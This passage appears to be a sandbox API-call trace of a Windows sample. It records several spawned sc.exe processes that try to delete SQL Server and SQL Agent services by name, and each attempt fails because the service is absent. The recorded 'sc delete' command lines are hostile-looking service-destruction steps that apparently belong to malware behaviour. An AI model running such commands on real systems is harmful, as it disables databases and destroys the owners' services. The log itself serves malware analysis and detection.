(nStdHandle=0xfffffff5) returned 0x120 [0076.848] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.848] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.848] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.848] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.848] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.848] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.848] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.848] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.848] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.848] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.848] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.848] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.849] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.849] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.849] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.849] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.849] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.849] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.849] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.849] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.849] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.849] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2a43d0 [0076.853] OpenServiceW (hSCManager=0x2a43d0, lpServiceName="MSSQL$PROGID", dwDesiredAccess=0x10000) returned 0x0 [0076.853] GetLastError () returned 0x424 [0076.853] _itow (in: _Dest=0x424, _Radix=718488 | out: _Dest=0x424) returned="1060" [0076.853] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.855] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xaf650, nSize=0x2, Arguments=0xaf680 | out: lpBuffer="趰*") returned 0x62 [0076.856] GetFileType (hFile=0x120) returned 0x3 [0076.856] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2a8e90 [0076.856] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2a8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n*", lpUsedDefaultChar=0x0) returned 98 [0076.856] WriteFile (in: hFile=0x120, lpBuffer=0x2a8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xaf5f8, lpOverlapped=0x0 | out: lpBuffer=0x2a8e90*, lpNumberOfBytesWritten=0xaf5f8*=0x62, lpOverlapped=0x0) returned 1 [0076.856] LocalFree (hMem=0x2a8e90) returned 0x0 [0076.856] LocalFree (hMem=0x2a8db0) returned 0x0 [0076.856] LocalFree (hMem=0x0) returned 0x0 [0076.856] CloseServiceHandle (hSCObject=0x2a43d0) returned 1 [0076.860] exit (_Code=1060) Thread: id = 61 os_tid = 0xac4 Process: id = "31" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44d9a000" os_pid = "0xa6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"MSSQL$WOLTERSKLUWER\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0xa68 [0076.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfe10 | out: lpSystemTimeAsFileTime=0xcfe10*(dwLowDateTime=0x3746c4b0, dwHighDateTime=0x1d62786)) [0076.919] GetCurrentProcessId () returned 0xa6c [0076.919] GetCurrentThreadId () returned 0xa68 [0076.919] GetTickCount () returned 0x11494f0 [0076.919] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe18 | out: lpPerformanceCount=0xcfe18*=19679281625) returned 1 [0076.921] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0076.921] __set_app_type (_Type=0x1) [0076.921] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffeb7228) returned 0x0 [0076.921] __wgetmainargs (in: _Argc=0xffebb604, _Argv=0xffebb610, _Env=0xffebb608, _DoWildCard=0, _StartInfo=0xffebb050 | out: _Argc=0xffebb604, _Argv=0xffebb610, _Env=0xffebb608) returned 0 [0076.922] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.925] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.925] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.925] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.925] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.925] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.925] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.925] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.925] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.925] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.925] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.925] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.925] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.925] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.925] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.925] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.925] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.925] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.925] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.925] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.925] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.925] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.925] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.925] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.926] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.926] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.926] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.926] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.926] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.926] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.926] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.926] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.926] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1943f0 [0076.930] OpenServiceW (hSCManager=0x1943f0, lpServiceName="MSSQL$WOLTERSKLUWER", dwDesiredAccess=0x10000) returned 0x0 [0076.931] GetLastError () returned 0x424 [0076.931] _itow (in: _Dest=0x424, _Radix=851064 | out: _Dest=0x424) returned="1060" [0076.931] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffebb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.933] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfc30, nSize=0x2, Arguments=0xcfc60 | out: lpBuffer="跐\x19") returned 0x62 [0076.934] GetFileType (hFile=0x120) returned 0x3 [0076.934] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x198eb0 [0076.934] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x198eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x19", lpUsedDefaultChar=0x0) returned 98 [0076.934] WriteFile (in: hFile=0x120, lpBuffer=0x198eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfbd8, lpOverlapped=0x0 | out: lpBuffer=0x198eb0*, lpNumberOfBytesWritten=0xcfbd8*=0x62, lpOverlapped=0x0) returned 1 [0076.934] LocalFree (hMem=0x198eb0) returned 0x0 [0076.934] LocalFree (hMem=0x198dd0) returned 0x0 [0076.934] LocalFree (hMem=0x0) returned 0x0 [0076.934] CloseServiceHandle (hSCObject=0x1943f0) returned 1 [0076.936] exit (_Code=1060) Thread: id = 63 os_tid = 0xa60 Process: id = "32" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45a9f000" os_pid = "0xa70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"SQLAgent$PROGID\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0x7b8 [0077.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fb70 | out: lpSystemTimeAsFileTime=0x18fb70*(dwLowDateTime=0x3752ab90, dwHighDateTime=0x1d62786)) [0077.000] GetCurrentProcessId () returned 0xa70 [0077.000] GetCurrentThreadId () returned 0x7b8 [0077.000] GetTickCount () returned 0x114953e [0077.000] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb78 | out: lpPerformanceCount=0x18fb78*=19687355080) returned 1 [0077.001] GetModuleHandleW (lpModuleName=0x0) returned 0xff3a0000 [0077.002] __set_app_type (_Type=0x1) [0077.002] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3a7228) returned 0x0 [0077.002] __wgetmainargs (in: _Argc=0xff3ab604, _Argv=0xff3ab610, _Env=0xff3ab608, _DoWildCard=0, _StartInfo=0xff3ab050 | out: _Argc=0xff3ab604, _Argv=0xff3ab610, _Env=0xff3ab608) returned 0 [0077.003] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.006] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.006] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.006] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.006] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.006] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.006] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.006] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.006] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.006] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.006] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.006] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.006] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.006] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.006] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.006] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.006] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.006] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.006] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.006] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.006] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.006] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.006] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.006] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.007] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.007] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.007] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.007] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.007] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.007] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.007] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.007] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.007] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1e43e0 [0077.011] OpenServiceW (hSCManager=0x1e43e0, lpServiceName="SQLAgent$PROGID", dwDesiredAccess=0x10000) returned 0x0 [0077.012] GetLastError () returned 0x424 [0077.012] _itow (in: _Dest=0x424, _Radix=1636824 | out: _Dest=0x424) returned="1060" [0077.012] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff3ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.014] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f990, nSize=0x2, Arguments=0x18f9c0 | out: lpBuffer="跀\x1e") returned 0x62 [0077.015] GetFileType (hFile=0x120) returned 0x3 [0077.015] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1e8ea0 [0077.015] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1e", lpUsedDefaultChar=0x0) returned 98 [0077.015] WriteFile (in: hFile=0x120, lpBuffer=0x1e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f938, lpOverlapped=0x0 | out: lpBuffer=0x1e8ea0*, lpNumberOfBytesWritten=0x18f938*=0x62, lpOverlapped=0x0) returned 1 [0077.015] LocalFree (hMem=0x1e8ea0) returned 0x0 [0077.015] LocalFree (hMem=0x1e8dc0) returned 0x0 [0077.015] LocalFree (hMem=0x0) returned 0x0 [0077.015] CloseServiceHandle (hSCObject=0x1e43e0) returned 1 [0077.017] exit (_Code=1060) Thread: id = 65 os_tid = 0x4fc Process: id = "33" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x467a4000" os_pid = "0x7cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"SQLAgent$WOLTERSKLUWER\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0xabc [0077.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fd90 | out: lpSystemTimeAsFileTime=0x16fd90*(dwLowDateTime=0x375e9270, dwHighDateTime=0x1d62786)) [0077.073] GetCurrentProcessId () returned 0x7cc [0077.073] GetCurrentThreadId () returned 0xabc [0077.073] GetTickCount () returned 0x114958c [0077.073] QueryPerformanceCounter (in: lpPerformanceCount=0x16fd98 | out: lpPerformanceCount=0x16fd98*=19694712976) returned 1 [0077.075] GetModuleHandleW (lpModuleName=0x0) returned 0xff930000 [0077.075] __set_app_type (_Type=0x1) [0077.075] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff937228) returned 0x0 [0077.075] __wgetmainargs (in: _Argc=0xff93b604, _Argv=0xff93b610, _Env=0xff93b608, _DoWildCard=0, _StartInfo=0xff93b050 | out: _Argc=0xff93b604, _Argv=0xff93b610, _Env=0xff93b608) returned 0 [0077.076] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.078] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.078] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.078] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.078] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.078] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.078] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.078] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.078] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.078] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.078] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.078] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.078] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.078] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.078] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.078] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.078] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.078] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.079] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.079] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.079] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.079] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.079] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.079] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.079] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2443f0 [0077.083] OpenServiceW (hSCManager=0x2443f0, lpServiceName="SQLAgent$WOLTERSKLUWER", dwDesiredAccess=0x10000) returned 0x0 [0077.083] GetLastError () returned 0x424 [0077.083] _itow (in: _Dest=0x424, _Radix=1506296 | out: _Dest=0x424) returned="1060" [0077.083] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff93b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.085] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fbb0, nSize=0x2, Arguments=0x16fbe0 | out: lpBuffer="跐$") returned 0x62 [0077.085] GetFileType (hFile=0x120) returned 0x3 [0077.085] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x248eb0 [0077.085] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x248eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0077.085] WriteFile (in: hFile=0x120, lpBuffer=0x248eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16fb58, lpOverlapped=0x0 | out: lpBuffer=0x248eb0*, lpNumberOfBytesWritten=0x16fb58*=0x62, lpOverlapped=0x0) returned 1 [0077.085] LocalFree (hMem=0x248eb0) returned 0x0 [0077.085] LocalFree (hMem=0x248dd0) returned 0x0 [0077.085] LocalFree (hMem=0x0) returned 0x0 [0077.085] CloseServiceHandle (hSCObject=0x2443f0) returned 1 [0077.087] exit (_Code=1060) Thread: id = 67 os_tid = 0xae8 Process: id = "34" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x475a9000" os_pid = "0xacc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"MSSQLFDLauncher$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0xbd4 [0077.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fab0 | out: lpSystemTimeAsFileTime=0x18fab0*(dwLowDateTime=0x376817f0, dwHighDateTime=0x1d62786)) [0077.134] GetCurrentProcessId () returned 0xacc [0077.134] GetCurrentThreadId () returned 0xbd4 [0077.134] GetTickCount () returned 0x11495ca [0077.134] QueryPerformanceCounter (in: lpPerformanceCount=0x18fab8 | out: lpPerformanceCount=0x18fab8*=19700815114) returned 1 [0077.136] GetModuleHandleW (lpModuleName=0x0) returned 0xff2c0000 [0077.136] __set_app_type (_Type=0x1) [0077.136] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2c7228) returned 0x0 [0077.136] __wgetmainargs (in: _Argc=0xff2cb604, _Argv=0xff2cb610, _Env=0xff2cb608, _DoWildCard=0, _StartInfo=0xff2cb050 | out: _Argc=0xff2cb604, _Argv=0xff2cb610, _Env=0xff2cb608) returned 0 [0077.137] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.139] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.139] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.139] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.139] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.139] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.139] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.139] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.139] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.139] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.139] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.139] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.139] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.139] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.139] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.140] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.140] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.140] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.140] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.140] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.140] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.140] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.140] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.140] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.140] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3643f0 [0077.144] OpenServiceW (hSCManager=0x3643f0, lpServiceName="MSSQLFDLauncher$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0077.144] GetLastError () returned 0x424 [0077.144] _itow (in: _Dest=0x424, _Radix=1636632 | out: _Dest=0x424) returned="1060" [0077.144] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.146] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f8d0, nSize=0x2, Arguments=0x18f900 | out: lpBuffer="跐6") returned 0x62 [0077.146] GetFileType (hFile=0x120) returned 0x3 [0077.146] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x368eb0 [0077.146] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x368eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n6", lpUsedDefaultChar=0x0) returned 98 [0077.146] WriteFile (in: hFile=0x120, lpBuffer=0x368eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f878, lpOverlapped=0x0 | out: lpBuffer=0x368eb0*, lpNumberOfBytesWritten=0x18f878*=0x62, lpOverlapped=0x0) returned 1 [0077.146] LocalFree (hMem=0x368eb0) returned 0x0 [0077.146] LocalFree (hMem=0x368dd0) returned 0x0 [0077.146] LocalFree (hMem=0x0) returned 0x0 [0077.146] CloseServiceHandle (hSCObject=0x3643f0) returned 1 [0077.148] exit (_Code=1060) Thread: id = 69 os_tid = 0xad0 Process: id = "35" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x465ae000" os_pid = "0x408" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete 